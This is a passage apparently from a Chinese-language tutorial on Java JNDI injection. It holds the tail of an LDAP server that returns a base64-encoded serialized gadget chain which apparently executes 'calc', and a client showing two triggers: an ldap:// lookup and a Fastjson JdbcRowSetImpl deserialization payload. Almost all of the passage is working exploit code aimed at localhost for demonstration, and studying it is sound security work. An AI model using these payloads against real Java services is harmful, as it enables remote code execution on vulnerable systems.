hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

客户端代码,这里有两种触发方式,一种lookup,还有一种fastjson

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.alibaba.fastjson.JSON;  

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIGadgetClient {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context context = new InitialContext();
context.lookup("ldap://localhost:1234/ExportObject");

// Fastjson反序列化JNDI注入Gadget触发
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}